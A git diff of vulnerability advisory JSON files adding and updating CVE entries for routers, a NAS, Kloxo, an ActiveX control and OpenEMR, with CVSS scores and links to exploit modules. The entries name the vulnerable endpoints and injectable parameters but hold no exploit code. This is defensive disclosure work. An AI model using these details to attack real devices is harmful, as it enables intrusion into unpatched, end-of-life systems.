"details": "A vulnerability has been found in TP-Link TL-WR841N V11. The vulnerability exists in the /userRpm/WlanNetworkRpm.htm file due to missing input parameter validation, which may lead to the buffer overflow to cause a crash of the web service and result in a denial-of-service (DoS) condition. The attack may be launched remotely. This vulnerability only affects products that are no longer supported by the maintainer.",
"severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+ },
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
diff --git a/advisories/unreviewed/2025/07/GHSA-rvj2-pqhh-hgg7/GHSA-rvj2-pqhh-hgg7.json b/advisories/unreviewed/2025/07/GHSA-rvj2-pqhh-hgg7/GHSA-rvj2-pqhh-hgg7.json
index 486e2e46ca291..7e01864615ed9 100644
--- a/advisories/unreviewed/2025/07/GHSA-rvj2-pqhh-hgg7/GHSA-rvj2-pqhh-hgg7.json
+++ b/advisories/unreviewed/2025/07/GHSA-rvj2-pqhh-hgg7/GHSA-rvj2-pqhh-hgg7.json
@@ -1,13 +1,17 @@
{
"schema_version": "1.4.0",
"id": "GHSA-rvj2-pqhh-hgg7",
- "modified": "2025-07-29T18:30:36Z",
+ "modified": "2025-08-01T21:31:05Z",
"published": "2025-07-29T18:30:36Z",
"aliases": [
"CVE-2025-53713"
],
"details": "A vulnerability has been found in TP-Link TL-WR841N V11. The vulnerability exists in the /userRpm/WlanNetworkRpm_APC.htm file due to missing input parameter validation, which may lead to the buffer overflow to cause a crash of the web service and result in a denial-of-service (DoS) condition. The attack may be launched remotely. This vulnerability only affects products that are no longer supported by the maintainer.",
"severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+ },
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
diff --git a/advisories/unreviewed/2025/07/GHSA-v4cc-9587-m82w/GHSA-v4cc-9587-m82w.json b/advisories/unreviewed/2025/07/GHSA-v4cc-9587-m82w/GHSA-v4cc-9587-m82w.json
index 390ebb5065b74..1def649d070b3 100644
--- a/advisories/unreviewed/2025/07/GHSA-v4cc-9587-m82w/GHSA-v4cc-9587-m82w.json
+++ b/advisories/unreviewed/2025/07/GHSA-v4cc-9587-m82w/GHSA-v4cc-9587-m82w.json
@@ -1,13 +1,17 @@
{
"schema_version": "1.4.0",
"id": "GHSA-v4cc-9587-m82w",
- "modified": "2025-07-29T18:30:36Z",
+ "modified": "2025-08-01T21:31:05Z",
"published": "2025-07-29T18:30:36Z",
"aliases": [
"CVE-2025-53714"
],
"details": "A vulnerability has been found in TP-Link TL-WR841N V11. The vulnerability exists in the /userRpm/WzdWlanSiteSurveyRpm_AP.htm file due to missing input parameter validation, which may lead to the buffer overflow to cause a crash of the web service and result in a denial-of-service (DoS) condition. The attack may be launched remotely. This vulnerability only affects products that are no longer supported by the maintainer.",
"severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+ },
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
diff --git a/advisories/unreviewed/2025/07/GHSA-xw6x-7rww-v34g/GHSA-xw6x-7rww-v34g.json b/advisories/unreviewed/2025/07/GHSA-xw6x-7rww-v34g/GHSA-xw6x-7rww-v34g.json
index 50df3c065dac7..709178c5e59e0 100644
--- a/advisories/unreviewed/2025/07/GHSA-xw6x-7rww-v34g/GHSA-xw6x-7rww-v34g.json
+++ b/advisories/unreviewed/2025/07/GHSA-xw6x-7rww-v34g/GHSA-xw6x-7rww-v34g.json
@@ -1,13 +1,17 @@
{
"schema_version": "1.4.0",
"id": "GHSA-xw6x-7rww-v34g",
- "modified": "2025-07-29T18:30:36Z",
+ "modified": "2025-08-01T21:31:04Z",
"published": "2025-07-29T18:30:36Z",
"aliases": [
"CVE-2025-53712"
],
"details": "A vulnerability has been found in TP-Link TL-WR841N V11. The vulnerability exists in the /userRpm/WlanNetworkRpm_AP.htm file due to missing input parameter validation, which may lead to the buffer overflow to cause a crash of the web service and result in a denial-of-service (DoS) condition. The attack may be launched remotely. This vulnerability only affects products that are no longer supported by the maintainer.",
"severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+ },
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
diff --git a/advisories/unreviewed/2025/08/GHSA-2cvr-c5hj-x7rm/GHSA-2cvr-c5hj-x7rm.json b/advisories/unreviewed/2025/08/GHSA-2cvr-c5hj-x7rm/GHSA-2cvr-c5hj-x7rm.json
new file mode 100644
index 0000000000000..5f3be87629239
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-2cvr-c5hj-x7rm/GHSA-2cvr-c5hj-x7rm.json
@@ -0,0 +1,52 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-2cvr-c5hj-x7rm",
+ "modified": "2025-08-01T21:31:07Z",
+ "published": "2025-08-01T21:31:07Z",
+ "aliases": [
+ "CVE-2013-10050"
+ ],
+ "details": "An OS command injection vulnerability exists in multiple D-Link routers—confirmed on DIR-300 rev A (v1.05) and DIR-615 rev D (v4.13)—via the authenticated tools_vct.xgi CGI endpoint. The web interface fails to properly sanitize user-supplied input in the pingIp parameter, allowing attackers with valid credentials to inject arbitrary shell commands. Exploitation enables full device compromise, including spawning a telnet daemon and establishing a root shell. The vulnerability is present in firmware versions that expose tools_vct.xgi and use the Mathopd/1.5p6 web server. No vendor patch is available, and affected models are end-of-life.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10050"
+ },
+ {
+ "type": "WEB",
+ "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://web.archive.org/web/20140830203110/http://www.s3cur1ty.de/m1adv2013-014"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/25024"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/27428"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.vulncheck.com/advisories/d-link-legacy-unauth-rce-2"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-78"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T21:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-5cpf-pp9h-vpgm/GHSA-5cpf-pp9h-vpgm.json b/advisories/unreviewed/2025/08/GHSA-5cpf-pp9h-vpgm/GHSA-5cpf-pp9h-vpgm.json
new file mode 100644
index 0000000000000..9e31101c23e7e
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-5cpf-pp9h-vpgm/GHSA-5cpf-pp9h-vpgm.json
@@ -0,0 +1,48 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-5cpf-pp9h-vpgm",
+ "modified": "2025-08-01T21:31:07Z",
+ "published": "2025-08-01T21:31:07Z",
+ "aliases": [
+ "CVE-2013-10062"
+ ],
+ "details": "A directory traversal vulnerability exists in Linksys router's web interface (tested on the E1500 model firmware versions 1.0.00, 1.0.04, and 1.0.05), specifically in the /apply.cgi endpoint. Authenticated attackers can exploit the next_page POST parameter to access arbitrary files outside the intended web root by injecting traversal sequences. This allows exposure of sensitive system files and configuration data.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10062"
+ },
+ {
+ "type": "WEB",
+ "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://web.archive.org/web/20150428184015/http://www.s3cur1ty.de/m1adv2013-004"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/24475"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.vulncheck.com/advisories/linksys-legacy-routers-path-traversal"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-22"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T21:15:28Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-5fhc-hfwc-c254/GHSA-5fhc-hfwc-c254.json b/advisories/unreviewed/2025/08/GHSA-5fhc-hfwc-c254/GHSA-5fhc-hfwc-c254.json
new file mode 100644
index 0000000000000..a002743d28185
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-5fhc-hfwc-c254/GHSA-5fhc-hfwc-c254.json
@@ -0,0 +1,52 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-5fhc-hfwc-c254",
+ "modified": "2025-08-01T21:31:07Z",
+ "published": "2025-08-01T21:31:07Z",
+ "aliases": [
+ "CVE-2013-10060"
+ ],
+ "details": "An authenticated OS command injection vulnerability exists in Netgear routers (tested on the DGN2200B model) firmware versions 1.0.0.36 and prior via the pppoe.cgi endpoint. A remote attacker with valid credentials can execute arbitrary commands via crafted input to the pppoe_username parameter. This flaw allows full compromise of the device and may persist across reboots unless configuration is restored.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10060"
+ },
+ {
+ "type": "WEB",
+ "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://web.archive.org/web/20170422033239/http://www.s3cur1ty.de/m1adv2013-015"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/24513"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/24974"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.vulncheck.com/advisories/netgear-legacy-routers-rce"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-78"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T21:15:28Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-6xj5-fx7c-xvcj/GHSA-6xj5-fx7c-xvcj.json b/advisories/unreviewed/2025/08/GHSA-6xj5-fx7c-xvcj/GHSA-6xj5-fx7c-xvcj.json
new file mode 100644
index 0000000000000..4f8cc5ab5de85
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-6xj5-fx7c-xvcj/GHSA-6xj5-fx7c-xvcj.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-6xj5-fx7c-xvcj",
+ "modified": "2025-08-01T21:31:06Z",
+ "published": "2025-08-01T21:31:06Z",
+ "aliases": [
+ "CVE-2012-10022"
+ ],
+ "details": "Kloxo versions 6.1.12 and earlier contain two setuid root binaries—lxsuexec and lxrestart—that allow local privilege escalation from uid 48. The lxsuexec binary performs a uid check and permits execution of arbitrary commands as root if the invoking user matches uid 48. This flaw enables attackers with Apache-level access to escalate privileges to root without authentication.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-10022"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/KloxoNGCommunity/kloxo"
+ },
+ {
+ "type": "WEB",
+ "url": "https://kloxo.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/linux/local/kloxo_lxsuexec.rb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://web.archive.org/web/20121122063935/http://roothackers.net/showthread.php?tid=92"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/25406"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.vulncheck.com/advisories/kloxo-local-priv-esc"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-269"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T21:15:25Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-7jqp-2p5w-9crj/GHSA-7jqp-2p5w-9crj.json b/advisories/unreviewed/2025/08/GHSA-7jqp-2p5w-9crj/GHSA-7jqp-2p5w-9crj.json
new file mode 100644
index 0000000000000..649915023c216
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-7jqp-2p5w-9crj/GHSA-7jqp-2p5w-9crj.json
@@ -0,0 +1,52 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-7jqp-2p5w-9crj",
+ "modified": "2025-08-01T21:31:07Z",
+ "published": "2025-08-01T21:31:07Z",
+ "aliases": [
+ "CVE-2013-10059"
+ ],
+ "details": "An authenticated OS command injection vulnerability exists in various D-Link routers (tested on DIR-615H1 running firmware version 8.04) via the tools_vct.htm endpoint. The web interface fails to sanitize input passed from the ping_ipaddr parameter to the tools_vct.htm diagnostic interface, allowing attackers to inject arbitrary shell commands using backtick encapsulation. With default credentials, an attacker can exploit this blind injection vector to execute arbitrary commands.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10059"
+ },
+ {
+ "type": "WEB",
+ "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/linux/http/dlink_dir615_up_exec.rb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://web.archive.org/web/20150921102603/http://www.s3cur1ty.de/m1adv2013-008"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/24477"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/25609"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.vulncheck.com/advisories/d-link-legacy-os-command-injection"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-78"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T21:15:28Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-7v67-qhqf-7xjm/GHSA-7v67-qhqf-7xjm.json b/advisories/unreviewed/2025/08/GHSA-7v67-qhqf-7xjm/GHSA-7v67-qhqf-7xjm.json
new file mode 100644
index 0000000000000..e46d158f6d44d
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-7v67-qhqf-7xjm/GHSA-7v67-qhqf-7xjm.json
@@ -0,0 +1,52 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-7v67-qhqf-7xjm",
+ "modified": "2025-08-01T21:31:06Z",
+ "published": "2025-08-01T21:31:06Z",
+ "aliases": [
+ "CVE-2013-10049"
+ ],
+ "details": "An OS command injection vulnerability exists in multiple Raidsonic NAS devices—specifically tested on IB-NAS5220 and IB-NAS4220—via the unauthenticated timeHandler.cgi endpoint exposed through the web interface. The CGI script fails to properly sanitize user-supplied input in the timeZone parameter of a POST request, allowing remote attackers to inject arbitrary shell commands.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10049"
+ },
+ {
+ "type": "WEB",
+ "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://web.archive.org/web/20160616174425/http://www.s3cur1ty.de/m1adv2013-010"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/24499"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/28508"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.vulncheck.com/advisories/raidsonic-nas-devices-unauth-rce"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-78"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T21:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-8w5w-66j4-p452/GHSA-8w5w-66j4-p452.json b/advisories/unreviewed/2025/08/GHSA-8w5w-66j4-p452/GHSA-8w5w-66j4-p452.json
new file mode 100644
index 0000000000000..97e6b9ef8d574
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-8w5w-66j4-p452/GHSA-8w5w-66j4-p452.json
@@ -0,0 +1,52 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-8w5w-66j4-p452",
+ "modified": "2025-08-01T21:31:07Z",
+ "published": "2025-08-01T21:31:07Z",
+ "aliases": [
+ "CVE-2013-10057"
+ ],
+ "details": "A stack-based buffer overflow vulnerability exists in Synactis PDF In-The-Box ActiveX control (PDF_IN_1.ocx), specifically the ConnectToSynactis method. When a long string is passed to this method—intended to populate the ldCmdLine argument of a WinExec call—a strcpy operation overwrites a saved TRegistry class pointer on the stack. This allows remote attackers to execute arbitrary code in the context of the user by enticing them to visit a malicious webpage that instantiates the vulnerable ActiveX control. The vulnerability was discovered via its use in third-party software such as Logic Print 2013.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10057"
+ },
+ {
+ "type": "WEB",
+ "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/25835"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.fortiguard.com/encyclopedia/ips/35840/synactis-pdf-in-the-box-connecttosynactic-buffer-overflow"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.synactis.com/pdf-in-the-box.htm"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.vulncheck.com/advisories/synactis-pdf-in-the-box-connectosynactic-stack-based-buffer-overflow"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-94"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T21:15:27Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-97gj-fw67-mjpj/GHSA-97gj-fw67-mjpj.json b/advisories/unreviewed/2025/08/GHSA-97gj-fw67-mjpj/GHSA-97gj-fw67-mjpj.json
new file mode 100644
index 0000000000000..f82fffce4da62
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-97gj-fw67-mjpj/GHSA-97gj-fw67-mjpj.json
@@ -0,0 +1,48 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-97gj-fw67-mjpj",
+ "modified": "2025-08-01T21:31:06Z",
+ "published": "2025-08-01T21:31:06Z",
+ "aliases": [
+ "CVE-2013-10046"
+ ],
+ "details": "A local privilege escalation vulnerability exists in Agnitum Outpost Internet Security 8.1 that allows an unprivileged user to execute arbitrary code with SYSTEM privileges. The flaw resides in the acs.exe component, which exposes a named pipe that accepts unauthenticated commands. By exploiting a directory traversal weakness in the pipe protocol, an attacker can instruct the service to load a malicious DLL from a user-controlled location. The DLL is then executed in the context of the privileged service.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-10046"
+ },
+ {
+ "type": "WEB",
+ "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/windows/local/agnitum_outpost_acs.rb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/27282"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.exploit-db.com/exploits/28335"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.vulncheck.com/advisories/agnitum-outpost-internet-security-local-priv-esc"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-22"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T21:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-cvrx-jhp7-38jf/GHSA-cvrx-jhp7-38jf.json b/advisories/unreviewed/2025/08/GHSA-cvrx-jhp7-38jf/GHSA-cvrx-jhp7-38jf.json
index 43cc919f51ef6..5d2324786b7cc 100644
--- a/advisories/unreviewed/2025/08/GHSA-cvrx-jhp7-38jf/GHSA-cvrx-jhp7-38jf.json
+++ b/advisories/unreviewed/2025/08/GHSA-cvrx-jhp7-38jf/GHSA-cvrx-jhp7-38jf.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-cvrx-jhp7-38jf",
- "modified": "2025-08-01T18:31:19Z",
+ "modified": "2025-08-01T21:31:06Z",
"published": "2025-08-01T18:31:19Z",
"aliases": [
"CVE-2025-54564"
],
"details": "uploadsm in ChargePoint Home Flex 5.5.4.13 does not validate a user-controlled string for bz2 decompression, which allows command execution as the nobody user.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
"affected": [],
"references": [
{
@@ -20,8 +25,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-20"
+ ],
+ "severity": "HIGH",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-01T18:15:55Z"
diff --git a/advisories/unreviewed/2025/08/GHSA-fmhj-j6r9-5m2p/GHSA-fmhj-j6r9-5m2p.json b/advisories/unreviewed/2025/08/GHSA-fmhj-j6r9-5m2p/GHSA-fmhj-j6r9-5m2p.json
index 14d953be74e7f..2f7b198f81754 100644
--- a/advisories/unreviewed/2025/08/GHSA-fmhj-j6r9-5m2p/GHSA-fmhj-j6r9-5m2p.json
+++ b/advisories/unreviewed/2025/08/GHSA-fmhj-j6r9-5m2p/GHSA-fmhj-j6r9-5m2p.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-fmhj-j6r9-5m2p",
- "modified": "2025-08-01T18:31:19Z",
+ "modified": "2025-08-01T21:31:06Z",
"published": "2025-08-01T18:31:18Z",
"aliases": [
"CVE-2025-50870"
],
"details": "Institute-of-Current-Students 1.0 is vulnerable to Incorrect Access Control in the mydetailsstudent.php endpoint. The myds GET parameter accepts an email address as input and directly returns the corresponding student's personal information without validating the identity or permissions of the requesting user. This allows any authenticated or unauthenticated attacker to enumerate and retrieve sensitive student details by altering the email value in the request URL, leading to information disclosure.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
"affected": [],
"references": [
{
@@ -24,8 +29,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-284"
+ ],
+ "severity": "CRITICAL",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-01T18:15:53Z"
diff --git a/advisories/unreviewed/2025/08/GHSA-gfgm-2frc-x4f5/GHSA-gfgm-2frc-x4f5.json b/advisories/unreviewed/2025/08/GHSA-gfgm-2frc-x4f5/GHSA-gfgm-2frc-x4f5.json
new file mode 100644
index 0000000000000..91467b50e3b2c
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-gfgm-2frc-x4f5/GHSA-gfgm-2frc-x4f5.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-gfgm-2frc-x4f5",
+ "modified": "2025-08-01T21:31:06Z",
+ "published": "2025-08-01T21:31:06Z",
+ "aliases": [
+ "CVE-2013-10044"
+ ],
+ "details": "An authenticated SQL injection vulnerability exists in OpenEMR ≤ 4.1.1 Patch 14 that allows a low-privileged attacker to extract administrator credentials and subsequently escalate privileges. Once elevated, the attacker can exploit an unrestricted file upload flaw to achieve remote code execution, resulting in full compromise of the application and its host system.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
